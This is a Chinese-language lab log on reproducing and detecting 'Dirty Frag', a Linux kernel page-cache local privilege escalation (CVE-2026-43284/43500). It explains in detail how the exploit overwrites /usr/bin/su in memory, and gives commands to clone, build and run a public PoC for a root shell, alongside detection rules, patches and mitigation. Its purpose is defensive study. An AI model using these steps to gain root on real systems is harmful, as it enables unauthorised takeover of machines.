Linux 内核本地权限提升链的漏洞复现与检测实验环境。
状态:已验证。 我已在实验环境中(内核 6.18.9+kali-amd64)完成了复现、无文件验证以及系统调用级检测。本文档是一份实验日志。以下每项声明均在复现过程中实际观察到。截图和产物均来自虚拟机的真实捕获。
Dirty Frag 结合了 Linux 内核中的两个确定性逻辑漏洞。这些漏洞允许非特权本地用户覆盖只读文件(例如 /usr/bin/su)的页缓存并获得 root shell:
| 变体 | CVE | 汇聚点 | 触发路径 | 是否需要非特权用户命名空间 |
|---|---|---|---|---|
| xfrm‑ESP 页缓存写入 | CVE‑2026‑43284 | esp_input() 中的 crypto_authenc_esn_decrypt() | 使用 UDP‑encap 创建 socket(AF_INET),然后调用 xfrm_input() | 是(CAP_NET_ADMIN) |
| RxRPC 页缓存写入 | CVE‑2026‑43500 | rxkad_verify_packet_1()(pcbc(fcrypt)) | socket(AF_RXRPC) | 否 |
两种变体都使用与 Dirty Pipe 和 Copy Fail 相同的根本模式。splice(2) 系统调用将文件的一个页缓存页的引用放入发送端 sk_buff 的 frag 槽位中。攻击者只能读取该文件。接收端的内核代码随后在该 frag 之上执行就地加密 STORE 操作。这会修改 RAM 中的页缓存。由于不涉及磁盘写入,文件完整性监控(AIDE、Tripwire)无法检测到该操作。该攻击是确定性的,没有竞争窗口,失败时也不会导致内核崩溃。
cac2661c53f3(2017‑01)到 f4c50a4034e6(2026‑05‑05 已修补)2dc334f1a63a(2023‑06)到 aa54b1d27fe0(2026‑05‑10 已修补)CVE-2026-43284 = 8.8(高危),CVE-2026-43500 = 7.8(高危)Dirty Frag 是一种无文件本地权限提升漏洞。它破坏的是内存中的页缓存,而非磁盘上的文件。传统的文件完整性监控无法检测到它。检测必须在系统调用层进行。该攻击链使用以下系统调用原语:socket(AF_ALG)/socket(AF_RXRPC)、splice 和 unshare(CLONE_NEWUSER|CLONE_NEWNET)。ESP 路径还会创建 AF_INET UDP 和 netlink 套接字。本仓库中的检测工程正是聚焦于这一层。
两种变体使用相同的汇聚点:就地加密,将字节 STORE 到攻击者通过 splice(2) 放置的页缓存页上。
UDP_ENCAP_ESPINUDP 配置接收端。vmsplice 将伪造的 ESP 线头(SPI、seq_no_lo 和 IV)注册到管道中,然后使用 splice 将 /usr/bin/su 中目标文件偏移处的 16 字节数据拼接到管道中。splice 将管道内容推入发送套接字。splice_to_socket() 设置 MSG_SPLICE_PAGES 标志。这将 /usr/bin/su 的页缓存页直接放入 skb->frags[0]。xfrm4_udp_encap_rcv,然后是 xfrm_input,最后是 esp_input()。易受攻击的 skip_cow 分支(!skb_cloned() && !skb_has_frag_list())绕过了 skb_cow_data()。它使用页缓存页同时作为源和目标执行就地 AEAD 解密。crypto_authenc_esn_decrypt() 发出一个对 ESN 高 32 位的 STORE 操作。该值为 replay_esn->seq_hi。攻击者在 SA 注册时通过 XFRMA_REPLAY_ESN_VAL netlink 属性选择该值。攻击者同时控制位置(splice 偏移量)和值(4 字节)。认证验证在 STORE 之后才执行,因此加密层永远不会标记该写入。此变体需要 CAP_NET_ADMIN 并使用 unshare(CLONE_NEWUSER|CLONE_NEWNET)。
rxkad_verify_packet_1() 直接在 splice 固定的 skb frag 上执行单块 pcbc(fcrypt) 解密。它不会先复制数据。攻击者选择一个会话密钥(add_key("rxrpc", …)),使得 decrypt(ciphertext) 等于 desired_plaintext。这会产生一个 8 字节的 STORE。此变体以 /etc/passwd 为目标。它不需要用户命名空间,但需要 rxrpc.ko 模块(Ubuntu 默认加载)。
公开 PoC 以 /usr/bin/su 为目标。它写入 48 次 ESP STORE,每次 4 字节(文件偏移 0 处共 192 字节)。它将页缓存的前几个字节替换为一个静态的 root shell ELF。该 ELF 的入口点执行 setgid(0); setuid(0); setgroups(0,NULL); execve("/bin/sh", …)。随后一次 execve("/usr/bin/su") 即可获得 root shell。
ESP 补丁(主线 f4c50a4034e6)为通过 splice() 到达的页 frag 标记 SKBFL_SHARED_FRAG 标志。esp_input() 中的 skip_cow 分支现在也会检查该标志。共享 frag 的 skb 会在就地 AEAD 解密之前经过 skb_cow_data()。
RxRPC 补丁(主线 aa54b1d27fe0)在现有的 skb_cloned() 检查旁边添加了 skb->data_len 检查。内核会在就地 pcbc(fcrypt) 解密之前复制带有分页数据的非线性 skb。
| 组件 | 详情 |
|---|---|
| 虚拟机管理程序 | VirtualBox |
| 目标虚拟机 | Kali Linux 2026.1(快照已恢复到易受攻击状态) |
| 内核 | 6.18.9+kali‑amd64(早于 2026 年 5 月的修复版本) |
| 漏洞利用 PoC | V4bel/dirtyfrag(单个 C 文件) |
| 检测 | auditd(规则位于 detection/dirtyfrag.rules) |
VirtualBox 实验环境截图:

.
├── README.md # 本实验日志
├── detection/
│ ├── dirtyfrag.rules # auditd 系统调用级检测规则
│ ├── ausearch_dirtyfrag_observed.txt # 真实漏洞检测输出
│ ├── sigma/
│ │ └── dirty_frag_exploit.yml # 用于 SIEM 检测的 Sigma 规则
│ └── yara/
│ └── dirty_frag_exploit.yar # 用于磁盘/内存中 PoC 代码的 YARA 规则
├── mitigation/
│ └── dirtyfrag_mitigation.sh # 模块黑名单 + 页缓存刷新
├── poc/
│ └── check_vulnerable.py # 非破坏性预检脚本
├── reports/
│ └── incident-dirtyfrag.md # 应急响应剧本
└── screenshots/ # 实验虚拟机中的真实捕获
poc/check_vulnerable.py 并确认内核/模块/用户命名空间testuser/usr/bin/su 哈希值drop_caches 或重启)detection/dirtyfrag.rules 并验证 auditd 告警reports/incident-dirtyfrag.md)cat /etc/os-release | head -3
uname -r
内核版本验证截图:

内核必须早于 2026 年 5 月的修复版本(f4c50a4034e6 / aa54b1d27fe0)。如果您在该日期之后运行了 apt upgrade,漏洞利用将失败。请参阅故障排查。
一个安全的检查器会报告虚拟机是否是一个可能的目标。它检查正在运行的内核、esp4/esp6/rxrpc 模块是否存在,以及非特权用户命名空间是否可用。ESP 变体需要这些命名空间。
python3 poc/check_vulnerable.py
预期结论:[*] potentially vulnerable -- proceed in a disposable VM only
一个非特权的 testuser 用于模拟没有特殊权限的攻击者。
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id
截图:id 显示 UID 1001。这确认了非 root 访问权限。

从非特权账户执行:
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp
成功后,漏洞利用程序会修补 /usr/bin/su 的页缓存。它写入 48 次 ESP STORE,每次 4 字节(文件偏移 0 处共 192 字节的 root-shell ELF)。随后通过 forkpty 释放一个交互式 root shell。
模块可用性、源码审查和干净编译的截图:

id
whoami
截图:运行 ./exp 后 id 显示 uid=0(root)。

sha256sum 通过页缓存读取数据。当漏洞利用程序的写入生效时,哈希值与原始值不同。刷新后,哈希值恢复为原始值。这一前后对比证明磁盘上的二进制文件从未被修改。
sha256sum /usr/bin/su # 1) 页缓存被污染时 -> 哈希值不同
截图:哈希值与软件包哈希值不同(RAM 被污染,磁盘完好)。

观察到的被破坏(页缓存)哈希值:3fc29078bd77150b5d6fbb368f632bf02c1a3704816f03fb694ec2e81e77bde4
漏洞利用后,页缓存包含被破坏的数据。务必将其刷新:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 或重启虚拟机
然后验证恢复情况(以 testuser 身份):
sha256sum /usr/bin/su # 现在与原始软件包哈希值一致
su - # 再次提示输入密码 — 不会自动获得 root
截图:恢复后的(磁盘上原始)哈希值。

观察到的原始(磁盘上)哈希值:2b4f8770bd35bba5cdc5cfe292bc1d988e92ec1786bf91cf83e0e86fac056eb6
重启后,dpkg -V util-linux 返回无输出。磁盘上的 /usr/bin/su 与软件包完全一致,因此被破坏的 3fc29078… 哈希值仅存在于页缓存中。
drop_caches可能无法驱逐被污染的页面。 如果仍有运行中的进程固定该页面,就会发生这种情况。此时,sha256sum和dpkg -V会持续显示被破坏的内容。可靠的修复方法是重启。请注意,dpkg -V也通过页缓存读取数据。当页面被污染时,它会报告??5??????(MD5 不同;大小、模式、所有者和 mtime 均匹配)。重启后它再次静默。这证明磁盘上的文件从未被修改。